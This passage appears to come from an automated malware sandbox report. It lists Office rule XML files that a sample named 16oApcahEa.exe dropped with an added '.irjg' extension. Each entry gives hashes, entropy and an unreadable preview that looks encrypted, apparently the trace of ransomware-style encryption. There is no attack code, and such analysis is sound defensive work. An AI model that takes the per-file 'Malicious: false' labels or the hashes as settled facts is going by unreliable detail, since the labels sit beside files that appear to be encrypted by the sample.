Preview:	<?xml%B.JA..,......(...P....p.qf......h(:o....v..Z..w..1\%L.....%cA.V\|?...3MT..(WW.5'....Sv........,.)..y..P...8a.K]...Y".p5..p`+.......%_.........`v..~B.w..q.2.:re.4+.W .'....^.f<m...-..........67.bn<.....M....Cq..BF..A......%.E.._..4....2.Sx..3^o.h.R.L..-.J.1..e..\|<1..o&.B\..........S5dv~.H.Z.A..........d....$......knh.sJ:5.0............g.6....S]...\.....!....n.....%.Y...rI.7../r....(...A.XWj...e....cjj.....U4...#pb.$.u.T\|.1\|Hxj.n..G.n?..p.n+......c.....}....=W...2...t.,..pY=...@...........;.6]..tia...M...q.S.R.HT._F.u.*un...a.p....o]bQ......`L...........{......h.....,...?t..z..x.w.........B.O:.\T..k..].. >....91.q..._...,xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120650v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.734978553721817
Encrypted:	false
SSDEEP:	24:Gbep160h6gbRhSjXOBg9oGqo+6qfIFI2JMBEm9pbD:Gqpw8gESoJf6PtYJD
MD5:	78BB60F5805E25E3EBA8E33D3BA4107B
SHA1:	A6A6A70430B556357F9BDF6D7A18A08924F974FA
SHA-256:	942311760620509F63928083010804DC8E41160AB9652B1ABEC32F892F1204B1
SHA-512:	E44CD920444A0673EFFCA582212934B77B2407C01BD2F2BC47E68743B7AC4A33D2A96380AE9926374B6BC76A4689DED4C0385A8566E4930D3E9DC93D1C0557D2
Malicious:	false
Preview:	<?xml.@..m..{A.9..D....B....Y.\|,.=.:.bS+.'{.T.N.aL=Ud......"....v"..s#lD?w..+..,nW.v.Jn^...........%.._Fa.0.....Iy.,n.......~u.....P..+.y.#....+..Z.=......6d.M.f2....Fpi..]....y.~k+..I.N&..4: d..l....c.o.. ...x....cx./{gV......e..lDn.\dY.......u....^.2.Z....(q..n1..J.q..9s0...'...(.\.3D....F...X+.[...F4..U..e....8.3af~.F........tr.+.'pa.L~..qI.;G......R..j.6.".....'.1...n.M......A`...OGD.G...v.\|/ ...2~..:..]..VY.....3.}8.a.9x......6.3...."..f.[.E..{Eg.c..=....w.....+.36.6...DI.<\|M>..h.j1.E..T.9....^..@.G......a...z.O6..~t.;..U.aY.....r..,.e"..a...X,%(..U{m!.Ey...P...pT.V.....[.xI.X..j;H}...)6.l._-.+L\|e.Nv.Z...6..."=T..... ML..z%..^-.B8.HN"...M=....X\57[...8.o.....`?...."...c..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120651v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.708630436201367
Encrypted:	false
SSDEEP:	12:hRQX1j3FBdjsV6qqNXU1xQEw/5aTIfMpPDZfi/7BOoXSacNdKJtuc9M2cii9a:nQlTLFsVIEiFkpkdWDKDV9pbD
MD5:	87A5AB3F5CECCFCF71B12B96567FB55A
SHA1:	C5E488F8BE84606F9FAB7C2EBFEC06C5383CF8DA
SHA-256:	5F03D37DB06A65B1FD0C117E4912FD571E68541A868C82190ED9409ADAAE5144
SHA-512:	654353E80DFDDD67AA6BBC7BFBDA7F396D44EE031DE7E9D4866CF38DF812E505DA66132C182DAE4B6D6399BA5CE135FE342A5025FB8DC887913763A0F727F22B
Malicious:	false
Preview:	<?xml6........._2.1C\..v........s..r\...9....3.e.aO...Y.aV...\|W. }es.X.^;..}.#.7@B[.."O@;...z#.lZ.Y.\|.a.D[..U.......".so....j^R...J.(2.z\|..?P?~..9......!$52......Sl....J.SV.@y..b\....a....[.u?e.D_.1..h...;K...:....Q.....6P2.......-6...M..7.3$.L.F..O..JM.6......T.'=..A.}.5..J.k%......P..L..T..i.X.....o.Faz.+..1K..h..<W.......... .....<.._4O..^.v.%cg.....J....ub....[...Hgg9L.u.....!.^7.`.&um .0\|\.S......:..}.1(...d...Nm...o..7.q..;;.z.. ~.$..X.....'.. ;...?.. .....LF..;..a..1=q.:..l..j.,....Iw.....H.We.~......v...._.E...qy..`...W..:.;..I.....x......(n^X.+p....c.......$(.[)&... c.A.4.5...;Ea.`Q.C`..n.....Is1.`I..._.W......o.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120652v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.7271564491640525
Encrypted:	false
SSDEEP:	24:iO79Kyhn1EqyFRphxQBv0Cb07MCWA39pbD:1f1nIpsB80WWuJD
MD5:	F448F9E08823B3F6F1548B7F48431F9D
SHA1:	CB3CF5F4B552E2814044798E261B39F9CD1B6AB7
SHA-256:	1B9AC2845CD1AB8A1AB453E78D108B33807D811F74180AE79F1403E5B7953B60
SHA-512:	A13EEED37BCA2AE491BE08468661D114EA18946FED9B81D35155D6AD3326985448871008AAD03E9A21B309DB88A5C9E566EEB284D1B1F140144A049EC48AF10D
Malicious:	false
Preview:	<?xml....m....D.^#3..f..P5...-{....{.*.....2.Yjz..7:..{..I..G-..8i...9..G........#.r.......K.J...]...&5n....'.$.MO.o.o...`r.I...$f.Z.e.........5....bH.......zA?W8....db.......S.N).....mP,P.....[C.s..9..LO.."......(E..?8HAZD....Jp......d.;.(......}...D..fr./..+.K....'........Wx:0.P.+...<Y..E....\|.N._<..s\|..{...^..5.F.AP..$.....\|qr.A.A{...DK.T. ..'93........Z+..0......-...a....}.....!..d..[.......O..B8U.;-\|...^G"8.....KS.51z.$.t..N...a/..m...-7.aO.U.........4....%.g................@R.IwB.....jQ.I.y....!.(8...7.WD..<.h..@.......)$.>e..D....j..M..?.FR.FI..2...X..A.......~".T..p.......1.....w..+.k.)(.):kx3..'...>..'E.{..RV..&..-.....4.5.=..EB.7n.S..U.^...y..HO.}..8.9.=.C.e.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120653v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.675200590539268
Encrypted:	false
SSDEEP:	12:FO5CMDv01XZ7nbNGQ+i4HOp7R8T6aA/FSwoHy8B51hf5oSuMbk/4G1Qcy09M2ciD:9M4FZ7bNR4u9RafA4pHy8P1wS5W9pbD
MD5:	C4117BF1191101017A9E9F6A78321FED
SHA1:	9D62B7697A93CA38B6DDAE0231B6CED4C4B094DA
SHA-256:	52C77A3AE3DBF60EAF29037CE5F0D61ED00E526EB6652305610C54398471F7E2
SHA-512:	DA39CC71D0821D5CAD17C94A2D0DCD6ED023F469D446F466279505E65D6E8967F6971334A0C7522ABC6978B81419E2BDC452A3E30F4EBA065225E591BDBC0EEA
Malicious:	false
Preview:	<?xml4..?........2bE4.Q..6..n>N2%.!....)3L......3.{..f.{!....%.,c.8.....<.N@.Ot..c....k..mc.J4c.KPi.......:....?.;.=..6....f.".......1qaW.G...u.:...n.g..Ddqj.L+ef.~.j.qeky3.C.b\...#..H.. ..f.....5.h;W/...a....0..p...<.x...<...>........:/.....w,..z.L(........w.(C.....k+&..M....i...~..w......P.d.e..%.*.T...t........?..\..n]C.....Wm.......k.&......FG..3.....<...,.7.[..E... .6..[f.0c.F!....B".KC..........ZH..'......W.s;..3.......K...k..X&c......n..R..2...oq0..~N.y...........0.8..w..jX..T....m..T.S .....+...4.....x....Z.........+A...;[.W.#.....t..........t{cN.d.Y.}h.<v...C...;.i.G.."wK....t.R.V+.kG.P.~...kfE....+~...75.R0.>...l.g.f.~.{5xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120654v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.731722881231425
Encrypted:	false
SSDEEP:	24:4BQ3t3jj1do30UDv2eRvbuf5vPyJm9pbD:7fGJRvzJYJD
MD5:	F508DB76CCA1C05446B107E77580A8BE
SHA1:	A2ACEC01A8CA159AB99B136ACBD0B978D43F8019
SHA-256:	BCB987CB6AB221804ED2B197B15039EE625F9413CF33FB3C7104E898D13EC234
SHA-512:	9B8C04294FC4AD5901CAF3FAEEFD74A59ECCC4DDFD331B975DE2D7D094980F8D88CA3178EFC5529B0CC8DA976ECE7AB656EEDEC25BED87BF65DA9D96F0462CF6
Malicious:	false
Preview:	<?xml$..z\|"..F<.........i.U.V.Vw.d........,b[o.....qr6ZU4.....V..>.....W......./...a.1_..`..2.....F.....oR./{)).....d.Vt/....uV..g.}.{.......y=.lr...Y.'"...v:v......v.+A$..+.U.j_:(.r.o;...I`...v{.(D..op.wF[.([.@......V..1..x....TL:h...q.z...?.......l.a;#.mF.}..Cb...w.'........n#x.$]].~ .&..mI.o.@.w3kV7.]..8.......q......epZ....U. 4#!.w......L....g..f.......[..a...y@ ..>.].5K.w <c..!BK...n.5.>.Z.H.....W.p.J.+&.......0....h".....A.$......0..p........`#K.....Ii.<w....1.!..}d@..P.N..EpC.q?..&....~h.6x..6y.....[..hu.r.1....1+n..c.o.......4...?8..h.E=..Z..=.Q&.^.2...t..@"Pe..]......wV......Es.C.?..e.t,...G.}..t...B..... ..n.m.;S..o.S...Fz.D.4.*....tT.#.E&..nQ.^...m1$.PE..X.%.-.~.=M...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120655v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.70922161304654
Encrypted:	false
SSDEEP:	12:nn9QNTME6OkCb34AFvNqMOFFa2lkN5c6CNlyH4R4uArFoufumNjKzl9M2cii9a:nZ0X34AF4MOFF9CQ6CqYkryl9pbD
MD5:	BC4E5750C6D51E22FA1709E923E9E4F7
SHA1:	333A27748B90E03B6BDDADBCB98608BDAF8C13F7
SHA-256:	DA4D5ADFEC678618F75BDA8E93419C9A7220B641146F179ADF697D790C897936
SHA-512:	83DDDC107FD117CDA8AFBC7E7467BE58E57BF39F5E4281F14003B705D292190E591C661AC8749F8C241DB38144E75B18A510CFC567914D8236C58165C5159CFE
Malicious:	false
Preview:	<?xml.VC~......g@..`.+5.....sR...f.Y....[.7Z...V.}.8lof.]7.B0t....7\!P'.dG..S:Cd..IV.e&.!_.y..........7!_.6..;kL...'[2..[..m8Sv..#J..$}~..u;...u..e.&......Z./@.......-.@.].....o.o.a.......2h.....R.....Y::...m.q..M<C:`.c.Q.9.Y.'U..@$...N.iC.vQ.s..-.....mBcD...=...f......v....V/r:T........v...4}!+RX..K.^x9.G...%.....E...oP.W.....o1..k94.n..J......Z..V...N{XN.+.(D...~..S)...R..[.7.#..T...-.u!.{c.NOY.$.!)..=2.]..<....m....f..-..'AopYw.K.fMz......m....$H..... .....Jnr.....g.I...Ny.......P.c.9......'..=+7.XK.....v..bx......k..}.%.+ST.S.I.*..q....v.\.....vJ.....\|xj%......m..$...b...36..N.'K..l...{...L.[.%Sb..x...p....d.D.`...'..).5.H..u.d.GH..\.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120656v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.69245652862681
Encrypted:	false
SSDEEP:	12:lM0XL47zZ6a+XPIJW2k9wOWxTZGXUvM4h5WZGa3MZxOZNKozE89gWPEkcV9M2ciD:LozIN0O6TZi+heZ8oBPE/9pbD
MD5:	339F254B057D72A4F639B8CFE4ABB23C
SHA1:	38D895FF25A93E3A9A6FC12ED272DF406B266673
SHA-256:	A95A6A02155214EF10FA663B547D6DE6E546664AB4407399ED1F2F0D55896FB2
SHA-512:	BB07335634EE33FD833A9F6F7F0BDBAF0CBCA6EA1FD01E607E2A5154FBD3CBC84B8E4128E089D3E92F2110BFDE760D53BCA84F0ECCF01462B9143E7B0CBF0540
Malicious:	false
Preview:	<?xml.0.P:....i......Q.%..)V..@Yyb......'.+...c....YQ[N5.$o..."kA,..*....5....n....m.Q...Q.....#..w,X,!....D-N.T....Ej....._...,...?#.f=_.]..J........>?(..}y..G.96.7...um..:$..i.F...K.L......c+^iN.T..4....31=.w..y..._F..)..f.PRXA.F..sO...q.n..-EAX.a....}3....?.j90.W.rGN.[.+0...G....$....x.E..]C.Xf=.rYEq.w.q..B....~1....BO]r#.[n..c.w.o..fM...?.M}...'..'....j...r.=...n2q....3u....B..(.kf...G....W...l......z.Wk..v,i....&"......p+l...8C.A...P.9(.'........"I.T...F......z....d.2#Ft.......Q&.:u.......jF.<.Xu.wu....$......G...0.D..?W.........)..2;.......-....-....6.....&.......2i~<.cS..."...\|...m...~.@..`7[..E...g)_.r....9#3.P#...GLH.L......`A.=.g.."Q[.WA. ....NJ..:...4.:.....x...RI..D..f".H..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120657v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.6603603813532
Encrypted:	false
SSDEEP:	12:pUoPzQndAgElg484xykDBHfOshlJlhJINM1EoyHet3H1Bh67uo0LlXiAAJv2C59h:DL025a47379JGn+tRoYw59559pbD
MD5:	D0D3A6F5B4BEC53BB3D05888ABFB05CB
SHA1:	045DF67393F0F01DBA6ADD32E8827B67E87D2AF2
SHA-256:	108572AE4A53FB18D02602A5556EB499F3D8816DE78D3FC64E3319A04ABB0213
SHA-512:	EAAE5488DD416C2A1299FAC2D3F0EF88BF255BC1229E1C16CEA99854A693B268C269ABCC60F27876A312EF70B109B5357F5D8B2BA0AFDE8E0846B8353BC3C6DB
Malicious:	false
Preview:	<?xml.S...K..}qM.i..Z.jU..:....4J.8s.,8...8S......r.W..tf/.N....9.DB..u..Vihv+I..#.wH...^.i...z.......Q..h.BN.,.1.PE...T..a......~'[B.....o...+.(...f*iI.s<c....R~....A....'....J.7..`T......-.d.J......l.y..&.(+F.(...9.{...?.....y....q.6.9.#'}. QD.-.F\Y:..=..NG.1N2..I y...K..T...0.K?\|..<..C:.}..qP.p.....]e.i, ..KR..:D....H.V./.M....Q.I...........".ndd..c_t.[...f..h...k}?.Wt.v.c.XGh.dY....~3.%..c.E..P.C8..A.%K.c...$..ka...5...H..Nq..'...=p.".IjB.e..xv...Q.WC(...h/..........$77.\|...G.w..pdO.....$.."<.kZ..P.6.....f.......6.._..1...bq..7..~A.U-...~.>..%..j=.a..)Ya.&.iY_...%.4.....+.{..$..._C.Z.._.....U..b..x......l..{....-ooM.4...6....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120658v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.748462072735818
Encrypted:	false
SSDEEP:	24:MC7lQnbwWUyPWlwvIlXMPTMXuPZIL9pbD:MC7CbwWUyelRUYXuhIRJD
MD5:	96A1442A057222D1BC2B84D36F74862F
SHA1:	DEA21EE6D3A1BFAE457529CFF6393681C4808379
SHA-256:	1E8B70CC9DC752C5C312399E59934D61903DB9717666DA8E6554A81E7D2B8393
SHA-512:	6857FF1D02D503F53CB46C444CC9F459C8D6BB017D89BEED5D122FA162F40449E25A7F2F530F77341AF7DFB5E9DC4A9E7CAFF437759CFC1FAC349B47C2F5FCF4
Malicious:	false
Preview:	<?xml.....9...}....Ha.9;..#.L.@l.&....4.h.S.(..(.......fN.U\|...8..z.(.KZ..8g<....(.t......$a.Q.N.I.....d.....;o}.....d.5.K...B.W....S.....O&......%U.....7,.>..,..21.;(...vm.us.??em+.'..i`>..4....9^...6...?...BT8..........C....}='9a..o....wRA<.R..@L..D.N....n.9.v.Q.5.D.].-e...6L} .G...sq...0....e.~.2......?j&Z................Nh<..U...;.1...T....2......?h...#}.f[......nH..FWB%..@.u.c;^.(.../.....XvdS.h5.Q..........7.)b.....X.u.........2...h..T...3..]o~.nO..>....Hg.<...Y5.W..Z.N....BO.....yu....../.x".../>...[w..R.....k=zi.D..;.l....J.5.S..(@+......:Yb...{.h..M.I.e..C.".$.n.X\|.&....V....._!.H.4.;.".VL..2..\|......v.vM+..G6+.f"....:6.X....C.4.....3..#..T......H.i'T....<pW7.`......w..fu.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120659v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.716301005950214
Encrypted:	false
SSDEEP:	24:0MaqwMY4lIpdHEn/WJnH4ee0gaEilN+z9pbD:Iqw8CzHUOH4EgaEms5JD
MD5:	7DDC96159D088A19454A30F3FD951F78
SHA1:	3814FD473CB60174A311C04E2E7B3F60B3D8F9AC
SHA-256:	6F86E4A397E9EC161F084A215F1C48D1048C9613EF513B3F9464DA8ECAD80D30
SHA-512:	3A4FAA5801C341D0BB4D8AF9EB85202346C7F22B3E52BD4A3FC4A2F98290EE4D57E03356A962385801E6B1CE03BC83374B8D06F5BF4AF69CBFCDFB848B36D0CD
Malicious:	false
Preview:	<?xml.YQ.T{..?.r.g7.8=.&.O.aC.Q.Y{...Z....P..%c."......3..t..C....:........X....u..3....(..R...qM..^o.4x{y.c.\{..S.s+9.y ..h.X..p`.B.T,-....\|.5.H....O.R.....d......~.ma...!z j...mo./..w...<9{.u....K.!.....s..>=..^...p.O.n...f.^?....p....L0....B.;.R..h..\...z.l. ..0..=..3,.`yl.u.<...Z.Sc.[.l).GY.....w......q..e@...(.^.\.p.u#....$.%SS.W.Q.2...F3....hX.=Q.\|.....!..&.V..c.W<..po.z...}...h."v9..=.I"...iw......I...D..1F..........VfVOc...f.5..\G..~4\.sw....?..!)..c.....[..Y......".M._..m.t.2...(P..*....h.\|l.;@X...a]...0......N...uI$a......D..U...f.........cu. ..._...V..H.{....D...8D@....+$T..\]7Md....=.]...3yo1.VG~.......<......r.z.e...KT..N..i}.T'.q...Z.sjwdLZ..o..F~p!......'.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120660v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.732105987041839
Encrypted:	false
SSDEEP:	12:+t96NG+soaewRN5Cov/be995/ItKRmYIlcgUoAjjiw3gL9M2cii9a:+e3eLCoberuUmY5gKcL9pbD
MD5:	2BCAC59373D066295EA9484AEDED4744
SHA1:	B5A2D3DC1C5DFC69B17E5421A63652E98484D159
SHA-256:	4C87AF547079099707D633FE1CF153D891DD05CBF6435E01DCE9A8B2716FC0B1
SHA-512:	284030A4488680A382116EEDC4C6DE2DC039108473E4EA3BB88C6596D0394A3175ABD9090E6C1DD5D27CD4E6DF214CC88C65E9F11F3A8FD91CD8E7ECD3F0C01E
Malicious:	false
Preview:	<?xml.G.x...w......QO/..\|...V....A..........}/j3..`M........$....l.Ui...(..$E.......j..F..f.+e.V..B..o.,.=.....J]S......8....k..Z.I....-..{..)=..cV.FbIFd....q......X..dT.[..2pKVS^.cEM.....p..w....d...a{..#aN...`.....X..'^;........M....<.u........ku(.h.V..p]p..l?.z..>...#Kl!@...,....,.&.d::.Zqz&.l..3#..E...h..f..=...Lw.G..Q......W.....1.M.g......QZ.N..~.5&.#Z\|.....8E.f..........)s...[..Gm..@...^&-.X.E.H.83C9.a..e..\@.4(...h..<..xu.=1...k#....a.H.d..Nx.(H/U.G.....?`..@..#.z.fJ..v.)...(...Q_.?....X...+...IO.a.o.c.. ...tLh...\...}C.IA..UI......,.......f.CU....I-o..=..P.N.$...JF..p.y. ...c....q...W....5.(HN......v.b.L.{.G?...BUK.........O:?.X..u...0.zw`.#..tIl31.S.C,.d.....R.]..d..h.0.....(..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.6876948610938145
Encrypted:	false
SSDEEP:	12:yZ2PsxZUHh2/HA5eSfsAqK5CY9aYBGOuB8QGpZ7vUqvzWCQAfM6PHYIZ1Fw4s9Mw:A2bw/oSG5CMTGGDiCQAE6PHZLw4s9pbD
MD5:	3AE51C03B95F272C31DC4D7DD162F5BB
SHA1:	F4E69B13146831876C86AE24FB8D04FCB25F9311
SHA-256:	C7ECE7FED096F42903E93028FE0BAE6C758BD307EBCEF90B4FAB1351D6321846
SHA-512:	6FECE587B82C837FE4840B6DE630019CE0B67608E2C6DAE62C24FF31C9CFC032F87DFAC6E1DA8EC0E4FB81CAEA1B64D230E69C98CE03064DFC982498A04DD614
Malicious:	false
Preview:	<?xml........m.%..q...............u.\|.7...{."......}..E?)..\.0t.}@..........]"n.<a.(...M....Q.3...J..:..}.../[..2..Y....=h........_.f.C..:.Z=..=x.V..y.U.......>.......5.kA.N_...J........._.....YOi.!..@"...:..."...\...@.{.l@..\...#.T..=7%..d'So@..^(...v..n7=..C.....E. .....W%<.]..2.=.........].^HZB"\34D{2...."......g..?.M..7i....b...\|..U.I...6.......<.ON<..w...i.9S...Dc...S.......Y.ig.].&r;\.2HCM......eUbW.".#.}w....ZV.........k.....}".7.$N.I.X.>...t.0.X.r....Z.p:.."ey.o...i........W`...d..@nC7<R.w..).D..%gP.....XP...^..P.W....#\|y....e.J...">.Z.7...;$..n.@..>#..:...\...&+.Mv.DB6..R...YT.Q.f.-A..,..........i.vi..1. .;...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.723888611457362
Encrypted:	false
SSDEEP:	12:wq8Yuqj9eELxuu0dpXOOmQLM6Zrmbw2LVACDpo9WZhW5C9qCY4Prtwz5rRo5h9Mw:B9R3tOBL70D5A2a9q9qH4jqz5C5h9pbD
MD5:	8E29CC1047EEFB5AA91A8C639A90CEF0
SHA1:	6FE41784D174B7F39707AC534E3744ADBFAEA8BE
SHA-256:	57EA1F75E81F078BFF94C2A024826B696F20A20239706C5441D5543DD219A39A
SHA-512:	9D2E0DC8014F0E35F3DB2C198D4057086935C39601222A24F4EB4676C70881DA8EE55D1B873E9524C909E11D34DBC4D294C850FE2365AD9A89529ADD48BE2616
Malicious:	false
Preview:	<?xmlrh...T........~....r.F.[..x~c..`....U.x...(.&..~>......Db..<...a..d.l~GY.7.}..].AK.A>2.B...6....{r.G... ...V.F.5`\.).K..c.W..5.l....s...Q.~...]`.R4}..?..-btC$.]K.....PO.5$B..53./......I@x....>..K..a.....C ..:.........=]b....%....9.n........... \|..-.'.QWh.8cb....K..uQ.9.%^...&..l.....Z."(lZ..k%/.jT.I{.tr....xc.....k..+...+[~.....~..p..k..x[.#...XJ.ti..6.G..T..y.{Q.G1....\....Q{FbuHf....!U9uL......T.)..WX0..&9.....;#..N7.l.....7.....D....-.M`..-.{.Q#^4...9...T..a.O.nhc..&.AE.`H.. .2V.".....j.B.o.....MH?f..^..}/....\.......J.-.`\N.+"E[.E'.ue...^..w....w..E.#.Ua.R..0..Q.r...X............Q.f..MX\|...~..>....VUF.Sf.I.De..SI.......O..........z6..k).l.re..\>...o. *.ru.wcY.NYi.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.666860675854294
Encrypted:	false
SSDEEP:	12:gG/sQRz0bzjlc0LddCyBE5nkwAny6XgvP6VkLPAKCiUF55t8uN4FMV9M2cii9a:hJSzxNLeyBE5kpnfXdkr903JN4Fw9pbD
MD5:	8159BECAA08B40F81FF8433C7C9DB8AE
SHA1:	15BFC3D58FD84E43697F93FF7FA94D7194D44EEB
SHA-256:	2F317FB0CBA71206828D8D3562207D945E65069DC5BC372409747198B1E3AE54
SHA-512:	1E4CED435698B2C39CD061497A6DAC749789E9632A4F10BFF42B15CB71A9DC98D455613997055DD278B6FE409414EEDF67AC42B0894394F0F25690B5B1AACDC8
Malicious:	false
Preview:	<?xml......'b....h.du.{...\..V..+$...7.6..$1..<..x.v&..5....C.Gp)...........WrML+t...".PM..+CWG.D......T;.Q..D.d.{...Um........rg..`..}c.....+.....e.J^.m.....p..2..j..o..q7iD..{.<..YJ."'H....1...jI....=..]D.L.+%......-'w.j...s...Xh....C...;l.}..8..Q.$.y.h.?.N....aUn.y.......G..A.y...5.O...-...'..Q..a..W...>.....{..{..&E...E..8V;.{V.n...P..^..xY..d.N...n.ZZ....q..Yp....+..4."..'..LP...{....=n.........%..{.......,[{....(.....A.an1.....R.]..af..l..d...Z.c......;~u".U2.^.G...J...W.'?.`.!.<....P.y9.q.......i.+..?.7w...v......pF.F}....q(.t`..J......Py.pFo.U..}.B.i.9..Y\|.....FO..W].^.H.......27.X..21......s{.n.....&<..Jd.A.z.b...d..e..I...b.nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.721739499428657
Encrypted:	false
SSDEEP:	24:eVGCuBzjjqhKVn8rNq/SGO/yEoYllc9pbD:e41BzPqhKVSq6F/y8lQJD
MD5:	D1B7F2C0833439F5520D67B429E28B16
SHA1:	1E51BEF1ABF50C365510BC1CDBE5875703A0B7DE
SHA-256:	3039F5D8557C433A74910085A2BEE4CDF3028F885F78F3131C660E2CAEAEF3E6
SHA-512:	0E03D5CA2374FA9AC0C861A81339A79F961D536FF9D9A1B264C42B669D4ACD46D345EA040AEFF29371871C3E92FDDBEE402AB4F2827C6E1E66C09D9F8352485B
Malicious:	false
Preview:	<?xml..$.OL...I.R...d..[..t..._un.....h.....[.29f....D.gf....P.(.]...X...SM.....\'..p$.-.$.s.W)z1....=..L4....7...#~......."1-q.<.R...I..Skl....i.Y...=......gFj.4z..1JN..}-..9.2...t*.J..U.q......-s.^;..f.._.4..........!......=}kh[.%....-,B...GK.C.w.........]..<.1..s....E.-........90....Vi....U.t...b.[../.x.s..m.Xk.B.~..E.]..J{l....&...7..g=h.,>....i`....5..Dnu..c..d.v.Y....x..t...A.h.T.d\......Lc&....."....a..k..E..U.}x..Zn......T.5....o.._..D.}..I7 ....5..9%...Bk0.3.!.K.?..b..M#as...2<...Mz.d.s.l.Pf.\|..... ..ix).%....1.0....!.._zN}.\.+~?K"i5..5..^1.i.1....s\|...},....za.0.=.....%...i..$..,.(.....S2w.........8/.`....I.-A..h........%..".'...V(.}.&ji.o+.y).......R....]..8v....N$....gNST./....rS.g#.-..k..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.743177823385638
Encrypted:	false
